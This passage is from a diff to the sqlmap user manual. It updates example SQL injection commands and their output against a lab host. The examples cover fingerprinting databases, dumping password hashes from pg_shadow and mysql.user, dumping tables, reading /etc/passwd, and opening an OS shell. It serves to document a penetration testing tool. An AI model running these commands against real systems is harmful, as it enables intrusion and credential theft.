seconds +[hh:mm:25] [INFO] query: MID(@@plugin_dir, 1, 1) +[hh:mm:25] [INFO] retrieved: +[hh:mm:25] [INFO] performed 6 queries in 0 seconds +[hh:mm:25] [INFO] query: MID(@@hostname, 1, 1) +[hh:mm:25] [INFO] retrieved: n +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] executing MySQL comment injection fingerprint +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 + comment injection fingerprint: MySQL 5.0.67 + banner parsing fingerprint: MySQL 5.0.67 + html error message fingerprint: MySQL [...] +As you can see, sqlmap was able to fingerprint also the back-end DBMS +operating system by parsing the DBMS banner value. +
Example on a
Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b [...] [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL @@ -1769,15 +2139,19 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [hh:mm:08] [INFO] performed 1308 queries in 4 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS operating system: Windows 2000 Service Pack 4 back-end DBMS: active fingerprint: Microsoft SQL Server 2000 banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 version 8.00.194 html error message fingerprint: Microsoft SQL Server +[...] As you can see, from the Microsoft SQL Server banner, sqlmap was able to -correctly identify the database management system service pack. +correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews'
version() or the @@version environment variable. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0 -banner: '5.0.51a-3ubuntu5.2' +banner: '5.0.67-0ubuntu6' -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0 -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2' Example on an
Oracle XE 10.2.0.1 target:@@ -1831,7 +2205,7 @@ banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' Example on a -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0 banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0 banner: --- @@ -1853,10 +2227,10 @@ It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:@@ -1875,7 +2249,7 @@ web application is connected to. Example on a -python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user +python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0 current user: 'testuser@localhost' Microsoft SQL Server 2000 Service Pack 0 target:@@ -1890,10 +2264,10 @@ Option: --users It is possible to enumerate the list of database management system users. -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0 current database: 'master' -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0 database management system users [3]: [*] postgres @@ -1912,10 +2286,10 @@ It is possible to enumerate the password hashes for each database management system user. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0 [*] debian-sys-maint [1]: password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892 @@ -1933,8 +2307,8 @@ want to enumerate the password hashes. Example on a Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \ - -U sa +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \ + -U sa -v 0 database management system users password hashes: [*] sa [1]: @@ -1950,6 +2324,42 @@ ba9930b62ee5d506955 As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it. + +If you provide CU as username it will consider it as an alias for +current user and will retrieve the password hashes for this user. + +
+Example on a
PostgreSQL 8.3.5 target: + ++ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \ + -U CU -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:48] [INFO] fetching current user +[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32)) +[hh:mm:48] [INFO] retrieved: postgres +[hh:mm:49] [INFO] performed 62 queries in 0 seconds +[hh:mm:49] [INFO] fetching database users password hashes for current user +[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres' +[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)), +CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) +[hh:mm:49] [INFO] retrieved: 1 +[hh:mm:49] [INFO] performed 13 queries in 0 seconds +[hh:mm:49] [INFO] fetching password hashes for user 'postgres' +[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)), +CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4 +[hh:mm:51] [INFO] performed 251 queries in 2 seconds +database management system users password hashes: +[*] postgres [1]: + password hash: md5d7d880f96044b72d0bba108ace96d1e4 + Users privileges @@ -1964,7 +2374,7 @@ system user. Example on an Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0 [hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS' [hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP' @@ -2029,11 +2439,11 @@ You can also provide the -U option to specify the user who you want to enumerate the privileges. -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \ - -U postgres +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \ + -U postgres -v 0 database management system users privileges: [*] postgres (administrator) [3]: @@ -2044,9 +2454,59 @@ database management system users privileges: As you can see, depending on the user privileges, sqlmap identifies if the -user is a database management system administrator and show after the +user is a database management system administrator and show next to the username this information. +
+If you provide CU as username it will consider it as an alias for +current user and will enumerate the privileges for this user. + +
+Example on a
PostgreSQL 8.3.5 target: + ++ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \ + -U CU -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:25] [INFO] fetching current user +[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32)) +[hh:mm:25] [INFO] retrieved: postgres +[hh:mm:25] [INFO] performed 62 queries in 0 seconds +[hh:mm:25] [INFO] fetching database users privileges for current user +[hh:mm:25] [INFO] fetching number of privileges for user 'postgres' +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)), +CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)|| +CHR(114)||CHR(101)||CHR(115) +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] fetching privileges for user 'postgres' +[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it +into distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS +CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)|| +CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1 +[hh:mm:25] [INFO] retrieved: 1 +[hh:mm:25] [INFO] performed 13 queries in 0 seconds +database management system users privileges: +[*] postgres (administrator) [3]: + privilege: catupd + privilege: createdb + privilege: super + Note that this feature is not available if the back-end database management system is Microsoft SQL Server. @@ -2064,7 +2524,7 @@ It is possible to enumerate the list of databases. Example on a
Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0 available databases [6]: [*] master @@ -2089,10 +2549,10 @@ It is possible to enumerate the list of tables for all database manangement system's databases. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0 Database: test [1 table] @@ -2150,11 +2610,11 @@ You can also provide the -D option to specify the database that you want to enumerate the tables. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \ - -D test +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \ + -D test -v 0 Database: test [1 table] @@ -2167,8 +2627,8 @@ Database: test Example on an Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \ - -D users +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \ + -D users -v 0 Database: USERS [8 tables] @@ -2199,15 +2659,48 @@ Options: --columns, -T and -D It is possible to enumerate the list of columns for a specific database table. -This functionality depends on both -T to specify the table name -and on -D to specify the database name. +This functionality depends on the -T to specify the table name +and optionally on -D to specify the database name. +If the database name is not specified, the current database name is used by +sqlmap. + +
+Example on a
MySQL 5.0.67 target: + ++$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \ + -T users -v 1 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[15:54:25] [WARNING] missing database parameter, sqlmap is going to use the current +database to enumerate table 'users' columns +[15:54:25] [INFO] fetching current database +[15:54:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) +[15:54:25] [INFO] retrieved: test +[15:54:25] [INFO] performed 34 queries in 0 seconds +[15:54:25] [INFO] fetching columns for table 'users' on database 'test' +[15:54:25] [INFO] fetching number of columns for table 'users' on database 'test' +[...] +Database: test +Table: users +[3 columns] ++---------+-------------+ +| Column | Type | ++---------+-------------+ +| id | int(11) | +| name | varchar(40) | +| surname | varchar(60) | ++---------+-------------+ + Example on a
Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \ - -T users -D master +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \ + -T users -D master -v 0 Database: master Table: users @@ -2222,11 +2715,11 @@ Table: users -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \ - -T users -D public +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \ + -T users -D public -v 0 Database: public Table: users @@ -2255,16 +2748,28 @@ Options: --dump, -C, -T, -D, It is possible to dump the entries for a specific database table. -This functionality depends on both -T to specify the table name -and on -D to specify the database name. +This functionality depends on the -T to specify the table name +and optionally on -D to specify the database name. +If the database name is not specified, the current database name is used by +sqlmap.
-Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -v 1 +back-end DBMS: MySQL >= 5.0.0 + +[15:59:13] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'users' entries +[15:59:13] [INFO] fetching current database +[15:59:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) +[15:59:13] [INFO] retrieved: test +[15:59:13] [INFO] performed 34 queries in 0 seconds +[15:59:13] [INFO] fetching columns for table 'users' on database 'test' +[15:59:13] [INFO] fetching number of columns for table 'users' on database 'test' +[...] Database: test Table: users [5 entries] @@ -2287,8 +2792,8 @@ that you want to enumerate the entries. Example on a Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \ - -T users -D master -C surname +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \ + -T users -D master -C surname -v 0 Database: master Table: users @@ -2310,10 +2815,10 @@ You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1. -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \ -T users -D public -v 1 [...] @@ -2354,11 +2859,11 @@ options to limit the dump to a range of entries. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test --start 2 --stop 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -D test --start 2 --stop 4 -v 0 Database: test Table: users @@ -2386,10 +2891,10 @@ Options: --dump-all and --exclude-sysdbs It is possible to dump all databases tables entries at once. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0 Database: test Table: users @@ -2460,8 +2965,8 @@ tables. Example on a Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ - --exclude-sysdbs +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \ + --exclude-sysdbs -v 0 Database: master Table: spt_datatype_info_ext @@ -2519,7 +3024,7 @@ database management system and retrieve its output. Examples on a Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo'" -v 1 [...] @@ -2530,7 +3035,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:14] [INFO] performed 27 queries in 0 seconds SELECT 'foo': 'foo' -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 [...] @@ -2551,12 +3056,12 @@ SELECT 'foo', 'bar': 'foo, bar' As you can see from this last example, sqlmap splits the query in two different SELECT statement to be able to retrieve the output even -in blind SQL injection technique. +when using blind SQL injection technique. Otherwise in inband SQL injection technique it only perform a single HTTP request to get the user's query output:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 --union-use [...] @@ -2580,8 +3085,8 @@ SELECT 'foo', 'bar' [1]: Examples on an Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \ - "SELECT 'foo' FROM dual" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \ + "SELECT 'foo' FROM dual" -v 0 [hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n SELECT 'foo' FROM dual: 'foo' @@ -2591,17 +3096,19 @@ SELECT 'foo' FROM dual: 'foo' As you can see, if your SELECT statement contains a FROM clause, sqlmap asks the user if such statement can return multiple entries and in such case the tool knows how to unpack the query correctly to -retrieve its whole output line per line. +retrieve its whole output line per line when going through blind SQL +injection technique. -Example on a PostgreSQL 8.2.7 target: ++Example on a
PostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \ - "SELECT usename FROM pg_user" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \ + "SELECT usename FROM pg_user" -v 0 [hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y -[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries -do you want to retrieve? +[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many +entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit @@ -2612,17 +3119,17 @@ SELECT usename FROM pg_user [2]: -As you can see, in the last example sqlmap counts the number of entries +As you can see from the last example, sqlmap counts the number of entries for your query and asks how many entries from the top you want to dump. Otherwise if you specify also the LIMIT, or similar, clause sqlmap will not ask anything, just unpack the query and return its -output. +output line per line when going through blind SQL injection technique.
-Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1 [...] @@ -2662,7 +3169,7 @@ ORDER BY user ASC LIMIT 3, 1 [hh:mm:14] [INFO] performed 34 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 -[hh:mm:14] [INFO] retrieved: 127.0.0.1 +[hh:mm:14] [INFO] retrieved: 192.168.1.121 [hh:mm:14] [INFO] performed 69 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 @@ -2671,7 +3178,7 @@ ORDER BY user ASC LIMIT 3, 1 SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]: [*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B -[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B @@ -2681,22 +3188,22 @@ database management system. This feature has TAB completion and history support.
-Example of history support on a
PostgreSQL 8.2.7 target: +Example of history support on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> SELECT 'foo' SELECT 'foo': 'foo' sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] sql> SELECT version() -SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 +SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)' sql> exit -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename @@ -2714,10 +3221,10 @@ SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: -Example of TAB completion on a
MySQL 5.0.51 target: +Example of TAB completion on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0 sql> [TAB TAB] AND ORD(MID((%s), %d, 1)) > %d @@ -2749,22 +3256,22 @@ back-end database management system in sqlmap XML queries file, but you can run whatever SELECT statement that you want. -Example of asterisk expansion on a
MySQL 5.0.51 target: +Example of asterisk expansion on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \ -v 1 [...] [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql> SELECT * FROM test.users [hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' -[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column -names itself. +[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the +column names itself. [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' [hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' -[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) +FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) [hh:mm:48] [INFO] retrieved: 3 [hh:mm:48] [INFO] performed 13 queries in 0 seconds @@ -2857,11 +3364,11 @@ has FILE access (access to LOAD_FILE() builtin function), it is possible to read the content of a specific file from the file system. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --read-file /etc/passwd +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --read-file /etc/passwd -v 0 /etc/passwd: --- @@ -2902,11 +3409,11 @@ an interactive operating system shell on the back-end database management system. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --os-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --os-shell -v 0 [hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path [hh:mm:49] [WARNING] unable to retrieve the remote web server document root @@ -2922,7 +3429,7 @@ $ exit As you might notice, such operating system shell has the same -functionalities of SQL shell. +functionalities of SQL shell in terms of TAB completion and history support.
Miscellaneous @@ -2941,7 +3448,7 @@ attack. Example on an Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \ --eta -v 1 [...] @@ -2969,7 +3476,7 @@ banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' Example on a Microsoft SQL Server 2000 Service Pack 0 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \ --users --eta -v 1 [...] @@ -3102,10 +3609,10 @@ injection. This is useful if you stop the injection and resume it after some time. -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:@@ -3126,16 +3633,16 @@ retrieving the PostgreSQL banner and logged the session to text file $ cat sqlmap.log [hh:mm:40 MM/DD/YY] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('1', '1')][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(9, NULL)][9] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('9')][1] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 o -$ python sqlmap.py -u 